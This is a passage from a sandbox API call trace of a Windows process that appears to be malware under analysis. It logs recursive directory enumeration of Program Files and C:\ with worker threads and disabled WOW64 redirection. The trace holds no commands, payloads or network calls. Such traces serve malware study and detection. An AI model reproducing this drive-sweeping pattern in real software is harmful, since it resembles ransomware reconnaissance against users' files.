ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.350] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.350] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0279.350] ResetEvent (hEvent=0xe0) returned 1 [0279.351] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0279.753] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0279.753] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.835] GetProcessHeap () returned 0x550000 [0279.835] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26320b0 | out: hHeap=0x550000) returned 1 [0279.836] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0279.836] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0279.836] GetProcessHeap () returned 0x550000 [0279.836] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0279.839] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0279.839] GetProcessHeap () returned 0x550000 [0279.839] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0279.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0279.840] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.840] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0279.840] GetProcessHeap () returned 0x550000 [0279.840] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0279.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.841] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.841] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0279.841] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0279.841] ResetEvent (hEvent=0xe0) returned 1 [0279.841] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0280.057] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0280.057] ResetEvent (hEvent=0xe0) returned 1 [0280.057] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0280.171] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0280.171] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0280.172] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0280.172] GetProcessHeap () returned 0x550000 [0280.172] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0280.172] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0280.172] ResetEvent (hEvent=0xe0) returned 1 [0280.172] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0280.566] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0280.567] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0280.567] ResetEvent (hEvent=0xe0) returned 1 [0280.567] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0280.700] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0280.700] ResetEvent (hEvent=0xe0) returned 1 [0280.701] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0280.815] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0280.815] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0280.815] ResetEvent (hEvent=0xe0) returned 1 [0280.815] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0280.910] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0280.911] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0280.911] ResetEvent (hEvent=0xe0) returned 1 [0280.911] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0280.921] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0280.921] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0280.921] ResetEvent (hEvent=0xe0) returned 1 [0280.921] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0280.967] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0280.968] ResetEvent (hEvent=0xe0) returned 1 [0280.968] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0281.035] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0281.035] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0281.035] ResetEvent (hEvent=0xe0) returned 1 [0281.035] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0281.041] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0281.041] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0281.041] ResetEvent (hEvent=0xe0) returned 1 [0281.041] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0281.080] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0281.081] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0281.081] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0281.081] GetProcessHeap () returned 0x550000 [0281.081] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0281.081] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0281.081] ResetEvent (hEvent=0xe0) returned 1 [0281.081] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) Thread: id = 79 os_tid = 0x414 [0194.697] GetProcessHeap () returned 0x550000 [0194.697] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x38) returned 0x570f38 [0194.697] GetProcessHeap () returned 0x550000 [0194.697] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x18) returned 0x56f970 [0194.697] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x14c [0194.697] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x150 [0194.697] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x154 [0194.697] GetProcessHeap () returned 0x550000 [0194.697] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5c5598 [0194.698] GetProcessHeap () returned 0x550000 [0194.698] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5d55a0 [0194.698] GetProcessHeap () returned 0x550000 [0194.698] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x570f78 [0194.698] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0194.699] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0194.699] Wow64DisableWow64FsRedirection (in: OldValue=0x2cef7b4 | out: OldValue=0x2cef7b4*=0x0) returned 1 [0194.699] GetProcessHeap () returned 0x550000 [0194.699] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570f78 | out: hHeap=0x550000) returned 1 [0194.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xf654bf, lpParameter=0x2cef7bc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158 [0194.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xf654bf, lpParameter=0x2cef7bc, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c [0194.700] GetProcessHeap () returned 0x550000 [0194.700] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5e55a8 [0194.700] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2cef530 | out: lpFindFileData=0x2cef530*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x570f78 [0194.701] GetProcessHeap () returned 0x550000 [0194.701] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f55b0 [0194.702] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570fb8 [0194.702] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.702] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xde7c2ea0, ftLastAccessTime.dwHighDateTime=0x1d696f3, ftLastWriteTime.dwLowDateTime=0xde7c2ea0, ftLastWriteTime.dwHighDateTime=0x1d696f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0194.702] GetProcessHeap () returned 0x550000 [0194.702] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0194.702] FindFirstFileW (in: 